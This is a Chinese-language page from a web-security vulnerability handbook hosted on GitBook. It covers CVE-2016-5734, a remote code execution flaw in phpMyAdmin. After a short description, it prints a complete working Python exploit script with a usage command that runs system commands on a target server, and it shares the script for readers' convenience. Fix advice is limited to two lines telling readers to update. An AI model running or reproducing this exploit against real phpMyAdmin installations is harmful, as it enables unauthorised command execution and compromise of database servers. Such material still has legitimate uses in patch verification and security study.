secskill
  • Introduction
  • 1.web应用漏洞
    • 1.1 SQL注入漏洞
      • 1.1.1 type注入利用
      • 1.1.2 mothod注入利用
      • 1.1.3 按照效果注入利用
      • 1.1.4 order,limit和from后的注入
      • 1.10.1 sqlmap使用
    • 1.2 目录遍历漏洞
    • 1.3 跨站脚本漏洞
      • 1.3.10 flash xss
      • 1.3.11 Uxss
    • 1.4 未过滤HTML代码漏洞
    • 1.5 数据库运行出错
    • 1.6 Flash安全配置缺陷漏洞
    • 1.7 编辑器漏洞
      • 1.7.1 kindeditor编辑器漏洞
        • 1.7.1.1 kindeditor<=4.1.5文件上传漏洞
      • 1.7.2 fckeditor编辑器漏洞
        • 1.7.2.1 fckeditor<=2.6.4文件上传漏洞
    • 1.8 URL Redirect漏洞
    • 1.9 任意文件上传漏洞
    • 1.10 敏感信息泄露漏洞
    • 1.11 未加密登陆请求漏洞
    • 1.12 后台弱口令漏洞
    • 1.13 后台口令暴力破解漏洞
    • 1.14 跨站请求伪造漏洞
    • 1.15 Unicode 编码转换漏洞
    • 1.16 Possible .Net Error Message
    • 1.17 发生内部错误漏洞
    • 1.18 旁站攻击漏洞
    • 1.19 后台登录页面绕过
    • 1.20 Possible PHP Error Message
    • 1.21 UrlPath Pollution
    • 1.22 File Operation-Web.xml漏洞
    • 1.23 短文件名泄漏漏洞
    • 1.24 OS注入漏洞
    • 1.25 SOAP注入漏洞
    • 1.26 SMTP注入漏洞
    • 1.27 LDAP注入漏洞
    • 1.28 命令执行漏洞
    • 1.29 HTTP消息头注入漏洞
    • 1.30 验证机制缺陷漏洞
    • 1.31 越权漏洞
    • 1.31 服务端请求伪造漏洞
    • 1.32 xxe漏洞
    • 1.33 逻辑漏洞
    • 1.34 支付漏洞
      • 1.34.1 支付漏洞
    • 1.35 cors漏洞
      • 1.35.1 cors
    • 1.36 jsonp漏洞
    • 1.37 点击劫持漏洞
    • 1.38 框架注入漏洞
    • 1.39 文件包含漏洞
    • 1.40 CRLF注入漏洞
    • 1.41 SSTI漏洞
  • 2.中间件漏洞
    • 2.1 IIS
      • 2.1.1 CVE-2017-7269
    • 2.2 Apache
    • 2.3 Axis2
    • 2.4 lighttpd
    • 2.5 Tomcat
      • 2.5.1 CVE-2017-12615
    • 2.6 Nginx
    • 2.7 WebLogic
    • 2.8 JBoss
    • 2.9 Websphere
    • 2.10 Struct2
    • 2.11 XAMMP
    • 2.12 LAMPP
    • 2.13 FastCGI
    • 2.14 PHPCGI
    • 2.15 JOnAS
    • 2.16 Joomla
      • 2.16.1 CVE-2017-8917
    • 2.17 Padding oracle
    • 2.18 Jenkins
      • 2.18.1 CVE-2019-1003000
      • 2.18.2 CVE-2017-1000353
    • 2.18 Drupal
      • 2.18.1 CVE-2019-6340l
    • 2.19 PHPGD
      • 2.19.1 CVE-2019-6977
    • 2.20 PhpMyAdmin
      • 2.20.1 CVE-2016-5734
      • 2.20.2 反序列化漏洞
      • 2.20.3 CVE-2018-12613
    • 2.21 PHP
      • 2.21.1 extract
      • 2.21.2 strcmp
      • 2.21.3 urldecode
      • 2.21.4 md5
      • 2.21.5 strpos
      • 2.21.6 is_numeric
      • 2.21.7 sha
      • 2.21.7 ereg
      • 2.21.8 creat
  • 3.系统漏洞
    • 3.1 DNS域传送漏洞
    • 3.2 SSH Services Port 22 Enabled
    • 3.3 NetBIOS Services Port 139 Enabled
    • 3.4 OpenSSL 漏洞
    • 3.5 docker remote API漏洞
    • 3.6 Samba远程代码执行漏洞
    • 3.7 Windows系统漏洞
      • 3.7.1 ms17-010
      • 3.7.2 ms08-067
      • 3.7.3 ms16-075
      • 3.7.4 CVE-2017-0213
      • 3.7.5 ms16-135
      • 3.7.6 CVE-2018-8120
      • 3.7.7 CVE-2018-0824
    • 3.8 linux系统漏洞
      • 3.8.1 ubuntu
        • 3.8.1.1 CVE-2015-1328
        • 3.8.1.2 CVE-2017-16995
    • 3.9 openssh漏洞
      • 3.9.1 cve-2016-6515
  • 4.网络漏洞
    • 4.1 ARP欺骗嗅探漏洞
    • 4.2 反弹shell的N种姿势
    • 4.3 DNS欺骗
  • 5.cms漏洞
    • 5.1 08cms
    • 5.2 74cms
    • 5.3 Appcms
    • 5.4 Aspcms
    • 5.5 Bluecms
    • 5.6 Cscms
    • 5.7 Dedecms
    • 5.8 Discuz
      • 5.8.1 Discuz任意文件删除
    • 5.9 Dkcms
    • 5.10 Ecshop
    • 5.11 Finecms
    • 5.12 Fscms
    • 5.13 Jeecms
    • 5.14 Ibcms
    • 5.15 Maccms
    • 5.16 Php168
    • 5.17 Phpcms
    • 5.18 Phpmywind
    • 5.19 Phpwind
    • 5.20 Phpweb
    • 5.21 Qibocms
    • 5.22 Seacms
    • 5.23 Shopex
    • 5.24 Thinkphp
      • 5.24.1 SQL
      • 5.24.2 RCE
      • 5.24.3 RCE2
    • 5.25 Typecho
    • 5.26 Wordpress
      • 5.26.1 Wordpress Plugin_sql
    • 5.27 Xycms
    • 5.28 Zabbix
    • 5.29 Zblog
    • 5.30 Zzcms
Powered by GitBook
On this page
  • 漏洞名称
  • 漏洞描述
  • 漏洞等级
  • 漏洞危害
  • 漏洞检测方法
  • 漏洞利用方法
  • 漏洞修复方案:

Was this helpful?

  1. 2.中间件漏洞
  2. 2.20 PhpMyAdmin

2.20.1 CVE-2016-5734

漏洞名称

PhpMyAdmin 4.0.x-4.6.2远程执行代码漏洞(CVE-2016-5734)

漏洞描述

PhpMyAdmin是一个用PHP编写的免费软件工具,旨在通过Web管理MySQL。该漏洞位于该preg_replace功能中,因为用户提交的信息可以拼接到第一个参数中。

在PHP 5.4.7之前,第一个参数preg_replace可以被截断,\0并且将搜索模式更改为\e。它可能导致远程代码执行漏洞。

受影响的版本:

  • 4.0.10版之前的4.0.x版本

  • 4.4.15.7之前的4.4.x版本

  • 4.6.3之前的4.6.x版本

漏洞等级

高级

漏洞危害

远程代码执行

漏洞检测方法

利用POC去试验是否存在该漏洞

漏洞利用方法

./cve-2016-5734.py -u root --pwd="root" -d test "http://127.0.0.1:8080" -c "system('id')"

-u:指定用户名

--pwd="" :指定密码

-d:指定数据库

-c:指定执行的系统命令

分享一下POC,方便大家使用

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)

漏洞修复方案:

1,及时去phpMyAdmin官网修补漏洞

2,更新到最新版

Previous2.20 PhpMyAdminNext2.20.2 反序列化漏洞

Last updated 6 years ago

Was this helpful?

利用提供的POC去验证,用法为:

phpMyAdmin 4.6.2 - (经过身份验证的)远程执行代码<https://www.exploit-db.com/exploits/40185>